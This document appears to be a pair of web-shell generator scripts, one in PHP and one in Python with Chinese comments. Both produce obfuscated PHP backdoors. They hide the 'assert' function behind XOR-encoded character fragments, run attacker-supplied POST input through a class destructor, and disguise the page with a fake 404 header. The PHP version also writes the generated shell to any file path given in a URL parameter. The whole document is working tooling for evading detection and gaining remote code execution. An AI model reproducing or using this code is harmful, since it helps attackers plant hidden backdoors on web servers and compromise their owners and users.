<?php
//code by Mr6
error_reporting(0);
	function randomkeys($length)   
{   
   $pattern = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';  
    for($i=0;$i<$length;$i++)   
    {   
        $key[$i]= $pattern{mt_rand(0,strlen($pattern)-1)};    //生成php随机数   
    }   
    return $key;   
}   
	function randname($length)   
{   
   $pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';  
    for($i=0;$i<$length;$i++)   
    {   
        @$key.= $pattern{mt_rand(0,strlen($pattern)-1)};    //生成php随机数   
    }   
    return $key;   
} 
	$str=randomkeys(6); 
	$bname=randname(4);
	$lname=strrev(strtolower($bname));
	$str2="assert";
			echo "<?php \n";
			echo "header('HTTP/1.1 404');\n";
			echo "class  ".$bname."{ public \$c='';\nfunction __destruct(){\n";
	for ($i=0;$i<6;$i++)
	{
		$name="_".$i;
		$str3[$i]=bin2hex($str[$i] ^$str2[$i]);
		echo "$"."$name=";
	echo "'".$str[$i]."'"."^"."\"\\x".$str3[$i]."\";\n";
	}
	$aa='$db=$_0.$_1.$_2.$_3.$_4.$_5;';
	echo $aa;
	echo "\n";
	echo '@$db ("$this->c");}}';
	echo "\n";
	echo "\${$lname}=new {$bname}();\n";
	echo "@\${$lname}->c=\$_POST['Mr6'];\n";
	echo "?>\n";
	@$file=$_GET['file'];
	$html = ob_get_contents();
	if (isset($file))
{	if(file_put_contents($file,$html))
	echo "\n\n\n".$file."   save success!";}
	else {echo "Please input the file name like '?file=xxx.txt'";}
	?>

# coding=utf-8
import random
 
 
func = 'assert'
shell = '''<?php 
header('HTTP/1.1 404');
class  {0}{2}
${1}=new {0}();
@${1}->c=$_POST['Mr6'];
?>'''
 
 
def random_keys(len):
    str = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str, len))
 
 
def random_name(len):
    str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str, len))
 
 
def xor(c1, c2):
    n1 = ord(c1)
    n2 = ord(c2)
    n3 = n1 ^ n2
    return chr(n3)
 
 
def build_func():
    func_line = ''
    key = random_keys(len(func))    #取func函数长度(6个)的随机字符
    call = '$db='
    for i in range(0, len(func)):
        enc = xor(func[i], key[i])
        """这里解释一下enc.encode("utf-8").hex()因为它的结果会是十六进制，php在十六进制前面加入 \\x
        \\x 开头表示转义字符，后面的数字是字符的ascii码的十六进制形式
        该字符表示ASCII码十六进制是13（10进制为19）的字符，为不可见字符"""
        func_line += "$_{:d}='{}'^\"\\x{}\";".format(i, key[i], enc.encode("utf-8").hex())  #这里相当利用异或从新形成func的值
        func_line += '\n'
        call += '$_{:d}.'.format(i)     #累计把call的值 $db累加上面从新计算的func的值
    func_line = func_line.rstrip('\n')
    call = call.rstrip('.') + ';'   #rstrip() 删除 string 字符串末尾的指定字符（默认为空格）.
 
    func_tmpl = '''{ 
public $c='';
function __destruct(){
%s
%s
@$db ("$this->c");}}''' % (func_line, call)
    return func_tmpl
 
 
def build_webshell():
    className = random_name(4)  #随机取4个字符
    objName = className.lower()     #把上面随机取的四个字符变为小写。
    func = build_func()
    shellc = shell.format(className, objName, func) #把上面组合好的做一个完整的拼接
    return shellc
 
 
if __name__ == '__main__':
    print(build_webshell())